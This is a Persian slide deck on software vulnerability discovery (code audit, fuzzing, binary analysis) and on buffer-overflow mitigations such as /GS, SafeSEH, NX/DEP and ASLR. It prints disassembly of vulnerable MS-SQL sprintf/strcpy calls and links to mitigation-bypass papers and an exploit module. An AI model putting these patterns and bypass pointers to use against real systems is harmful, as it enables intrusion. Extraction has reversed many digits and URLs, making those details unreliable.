    ‫شناسایی مشکلت امنیتینرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫)‪(...()strcat(), strcpy() ,sprintf(), vsprintf‬‬ ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬ ‫‪ ‬کنترل روال برنامه ، برای شناسایی مشکلت منطقی )‪(Logical‬‬ ‫‪ ‬روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ( Dynamic‬اجرا و بررسی کد (‬ ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬ ‫‪‬‬ ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬ ‫‪‬‬ ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬ ‫‪‬‬ ‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬ ‫‪‬‬ ‫احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن‬ ‫داده و ... (‬ ‫12‬
  • 22.
    ‫شناسایی مشکلت امنیتینرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫‪ ‬استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬ ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬ ‫‪‬‬ ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست‬ ‫‪‬‬ ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬ ‫‪‬‬ ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها بالست‬ ‫‪‬‬ ‫این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای ‪Logical‬‬ ‫‪‬‬ ‫نیستند‬ ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬ ‫‪‬‬ ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬ ‫‪‬‬ ‫‪http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬ ‫‪//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬ ‫22‬
  • 23.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing & Fault-Injection‬‬ ‫‪‬‬ ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬ ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬ ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکلت‬ ‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در‬ ‫روند کار نرم افزار گردد.‬ ‫تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی‬ ‫‪‬‬ ‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬ ‫‪‬‬ ‫پارامترها و مقادیر تصادفی‬ ‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬ ‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬ ‫مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.‬ ‫32‬
  • 24.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫تکنیک های مختلف ‪: Fuzzing‬‬ ‫‪‬‬ ‫‪Session Data Fuzzers ‬‬ ‫بررسی اطلعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬ ‫‪‬‬ ‫ارسال آنها‬ ‫پیاده سازی این روش بسیار ساده میباشد‬ ‫‪‬‬ ‫‪Specialized Fuzzers ‬‬ ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬ ‫‪‬‬ ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬ ‫‪‬‬ ‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬ ‫‪‬‬ ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬ ‫‪‬‬ ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی بالی کاربر ندارد‬ ‫‪‬‬ ‫‪ Fuzzer‬های اختصاصی برای ‪… , SIP , SSL , SMTP , SNMP , RPC‬‬ ‫‪‬‬ ‫‪Generic Fuzzers ‬‬ ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬ ‫‪‬‬ ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬ ‫‪‬‬ ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬ ‫‪‬‬ ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬ ‫‪‬‬ ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬ ‫‪‬‬ ‫42‬
  • 25.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬ ‫‪‬‬ ‫از دید نرم افزار معتبر باشد‬ ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬ ‫‪‬‬ ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬ ‫حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬ ‫‪‬‬ ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬ ‫‪‬‬ ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر‬ ‫معتبر شدن آن درخواست از دید نرم افزار‬ ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر‬ ‫‪‬‬ ‫فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،‬ ‫در زمان تولید یک درخواست برای نرم افزار‬ ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬ ‫‪‬‬ ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬ ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬ ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬ ‫‪‬‬ ‫میکند‬ ‫52‬
  • 26.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬ ‫‪‬‬ ‫‪ ‬بررسی پروتکل های ارتباطی شبکه )‪Routing protocols, IP‬‬ ‫‪( … , stack‬‬ ‫‪ ‬بررسی پروتکل های تحت شبکه )‪,ssh,ftp,smtp,ssh,http,snmp‬‬ ‫…(‬ ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬ ‫‪ ‬بررسی مشکلت مربوط به خواندن )‪ (parse‬اطلعات از فایل ورودی‬ ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬ ‫‪(clients‬‬ ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬ ‫‪ } . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬ ‫افزار دخیل است! {‬ ‫62‬
  • 27.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing Frameworks‬‬ ‫‪‬‬ ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬ ‫‪‬‬ ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬ ‫‪‬‬ ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬ ‫‪‬‬ ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬ ‫‪‬‬ ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬ ‫‪‬‬ ‫‪ Fuzzer‬ها نسبت به گذشته تحولت بسیاری داشته اند‬ ‫‪‬‬ ‫مانیتور کردن نرم افزار تحت بررسی‬ ‫‪‬‬ ‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬ ‫‪‬‬ ‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول‬ ‫‪‬‬ ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬ ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬ ‫‪‬‬ ‫“‪“Sulley Fuzzing Framework‬‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬ ‫72‬
  • 28.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫برخی از ‪ Fuzzer‬های موجود‬ ‫‪‬‬ ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬ ‫‪‬‬ ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬ ‫‪‬‬ ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬ ‫‪ SMUDGE :General Fuzzing Framework‬برای پروتکل های تحت شبکه‬ ‫‪‬‬ ‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬ ‫‪‬‬ ‫شبکه‬ ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬ ‫‪‬‬ ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬ ‫‪‬‬ ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬ ‫‪‬‬ ‫‪IRCfuzz :IRC Client Fuzzer‬‬ ‫‪‬‬ ‫‪COMBust :COM Object fuzzer‬‬ ‫‪‬‬ ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/fuzzing-software ‬‬ ‫82‬
  • 29.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Fuzzing‬‬ ‫‪DEMO‬‬ ‫92‬
  • 30.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Binary Analyze‬‬ ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬ ‫‪‬‬ ‫میباشد‬ ‫بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬ ‫‪‬‬ ‫انحصاری)‪ (closed-source‬دیده میشوند‬ ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬ ‫‪‬‬ ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬ ‫‪‬‬ ‫مهندسی معکوس!‬ ‫نیازمند درک و تجربه بال در بررسی زبان ماشین‬ ‫‪‬‬ ‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬ ‫‪‬‬ ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬ ‫)‪(Low Code Coverage‬‬ ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬ ‫‪‬‬ ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬ ‫‪‬‬ ‫03‬
  • 31.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Binary Analyze‬‬ ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬ ‫‪‬‬ ‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬ ‫مشابه‬ ‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬ ‫‪‬‬ ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬ ‫‪:A variable indexed write into a character array‬‬ ‫‪:A variable indexed write to a local stack buffer‬‬ ‫‪:A write to a pointer, followed by an increment of that pointer‬‬ ‫‪:A sign extended copy from an attacker-controlled buffer‬‬ ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت ‪Memory corruption‬‬ ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬ ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬ ‫‪‬‬ ‫کشف این دسته از مشکلت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬ ‫‪‬‬ ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬ ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد‬ ‫‪‬‬ ‫ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬ ‫‪‬‬ ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬ ‫‪‬‬ ‫-‪http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬ ‫‪‬‬ ‫‪http//:www.zynamics.com/files/ms08001.swf‬‬ ‫‪‬‬ ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬ ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬ ‫‪‬‬ ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬ ‫‪‬‬ ‫13‬
  • 32.
    ‫شناسایی مشکلت امنیتینرم افزار- ‪Binary Analyze‬‬ ‫23‬
  • 33.
    Binary Analyze -‫شناساییمشکلت امنیتی نرم افزار‬ ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬  ()sprintf mov edx, ]ebp+var_24C8[ ;‫متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود‬ push edx push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL Server”... push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion” lea eax, ]ebp+var_84[ ; ‫! بافر پشته با سایز821 بایت‬ push eax call ds:sprintf add esp, 10h ()strcpy ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬  mov eax, ]ebp+arg_4[ add eax, ]ebp+var_218[ push eax lea ecx, ]ebp+var_214[ ; ‫بافر پشته با حجم215 بایت که محتوای آن از پکت‬ ‫دریافت شده و بدون کنترل سایز کپی میشود‬ push ecx call strcpy add esp, 8 33
  • 34.
    ‫شناسایی مشکلت امنیتینرم افزار‬ ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬ ‫‪‬‬ ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬ ‫‪‬‬ ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬ ‫‪‬‬ ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬ ‫‪ Fuzzing‬مشخص گردد .‬ ‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬ ‫داده شده ، و کدام بخش ها عمل بررسی نشده‬ ‫‪http//:en.wikipedia.org/wiki/Code_coverage ‬‬ ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬ ‫‪‬‬ ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬ ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬ ‫‪ ‬مقاله جالب “‪http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery‬‬ ‫‪ “E volutionaryF uzzingSystem“ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬ ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬ ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬ ‫43‬
  • 35.
    ‫مقابله با حملتسرریز بافر‬ ‫اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان‬ ‫‪‬‬ ‫تولید نرم افزار میباشد‬ ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬ ‫‪‬‬ ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬ ‫‪‬‬ ‫باشد ،‬ ‫اما مشکلتی نیز وجود دارد !‬ ‫‪‬‬ ‫نرم افزارهای قدیمی‬ ‫‪‬‬ ‫عدم دسترسی به ‪Developer‬‬ ‫‪‬‬ ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬ ‫‪‬‬ ‫اشتباهات برنامه نویسی‬ ‫‪‬‬ ‫نرم افزار های ‪! Closed-Source‬‬ ‫‪‬‬ ‫راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬ ‫‪‬‬ ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬ ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬ ‫‪‬‬ ‫53‬
  • 36.
    ‫مقابله با حملتسرریز بافر‬ ‫دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و‬ ‫‪‬‬ ‫بر همین اساس روش های مختلف نیز:‬ ‫‪ ‬تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها‬ ‫‪ ‬سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی‬ ‫به برنامه ، در زمان کامپایل کردن‬ ‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬ ‫با حملت سرریز بافر‬ ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬ ‫کمبود های امنیتی سیستم عامل‬ ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬ ‫های امنیتی سیستم عامل‬ ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬ ‫63‬
  • 37.
    ‫مقابله با حملتسرریز بافر‬ ‫کامپایلرهای امن‬ ‫‪‬‬ ‫‪Visual Studio >2003 ‬‬ ‫محافظت در برابر حملت سرریز بافر در ‪Stack‬‬ ‫‪‬‬ ‫اساس بخش زیادی از امنیت در مقابل حملت ‪ stack overflow‬در ویندوز سرور 3002 1‪ SP‬و 2‪ XP SP‬و‬ ‫‪‬‬ ‫نسخه های جدید تر‬ ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬ ‫‪‬‬ ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬ ‫آشنایی با مفهوم ‪Stack Cookies‬‬ ‫‪‬‬ ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬ ‫‪‬‬ ‫/‪ GS‬مشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬ ‫‪‬‬ ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬ ‫‪‬‬ ‫‪http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬ ‫‪‬‬ ‫استفاده از /‪ SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل /‪GS‬‬ ‫‪‬‬ ‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬ ‫‪‬‬ ‫نشده ، کل سیستم را تهدید میکند‬ ‫‪ ‬ماژول های اضافه شده به ‪( GCC (…, StackGuard , ProPolice‬‬ ‫آستفاده از ایده ‪Stack Canaries‬‬ ‫‪‬‬ ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ -‪fstack-protector‬‬ ‫‪‬‬ ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬ ‫‪‬‬ ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬ ‫‪‬‬ ‫‪http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬ ‫‪‬‬ ‫73‬
  • 38.
    ‫مقابله با حملتسرریز بافر‬ ‫امکانات ارائه شده توسط پردازنده‬ ‫‪‬‬ ‫‪(NX Bit (No eXecute‬‬ ‫‪‬‬ ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬ ‫‪‬‬ ‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل ‪ Pentium 4 ،AMD‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬ ‫‪‬‬ ‫قابلیت مجهز شدند‬ ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬ ‫‪‬‬ ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬ ‫‪‬‬ ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬ ‫‪‬‬ ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬ ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬ ‫‪‬‬ ‫‪ NX‬امکان مقابله با حملت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬ ‫‪‬‬ ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬ ‫‪‬‬ ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬ ‫‪‬‬ ‫مربوط به خود را معماری کرده و بکار می برد .‬ ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامل مجازی پیاده سازی میگردد‬ ‫‪‬‬ ‫)‪ (A ddressS paceL ayoutRandomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز‬ ‫‪‬‬ ‫بافر میباشد‬ ‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬ ‫‪‬‬ ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬ ‫‪‬‬ ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬ ‫83‬
  • 39.
    ‫مقابله با حملتسرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬ ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬ ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬ ‫‪‬‬ ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬ ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی . ‪Exec Shield‬‬ ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬ ‫‪RHEL‬‬ ‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬ ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬ ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬ ‫‪‬‬ ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬ ‫‪‬‬ ‫‪SPARC‬‬ ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬ ‫‪‬‬ ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬ ‫پوشش ‪OSX‬‬ ‫93‬
  • 40.
    ‫مقابله با حملتسرریز بافر‬ ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬ ‫‪‬‬ ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 3002 1‪Server SP‬‬ ‫‪‬‬ ‫ارائه شده تحت نام ‪( DEP (Data Execution Prevention‬‬ ‫‪‬‬ ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬ ‫‪‬‬ ‫در صورت پشتیبانی پردازنده از ‪ NX ،DEP‬بطور خودکار فعال میگردد‬ ‫‪‬‬ ‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حملت -‪return‬‬ ‫‪‬‬ ‫‪ to-libc‬به همین دلیل میسر میشود.‬ ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬ ‫‪‬‬ ‫‪http//:metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬ ‫‪‬‬ ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http//:uninformed.org/v?=a&2=4 NX+DEP‬‬ ‫‪‬‬ ‫‪ (SafeSEH (Software DEP‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حملت برای سو استفاده از‬ ‫‪‬‬ ‫‪ SEH‬پیاده سازی شده است‬ ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬ ‫‪‬‬ ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که قبل تعریف و ‪ register‬شده اند.‬ ‫‪‬‬ ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬ ‫‪‬‬ ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬ ‫‪‬‬ ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬ ‫‪‬‬ ‫پشتیبانی از ‪amd64, sparc64, sparc(sun4m, sun4d) , powerpc(ibm4xx), alpha, sh5, hppa‬‬ ‫‪‬‬ ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬ ‫‪‬‬ ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( W^X (WAX‬از نسخه 3.3‬ ‫‪‬‬ ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬ ‫‪‬‬ ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬ ‫‪‬‬ ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬ ‫‪‬‬ ‫04‬
  • 41.
    ‫مقابله با حملتسرریز بافر‬ ‫14‬
  • 42.
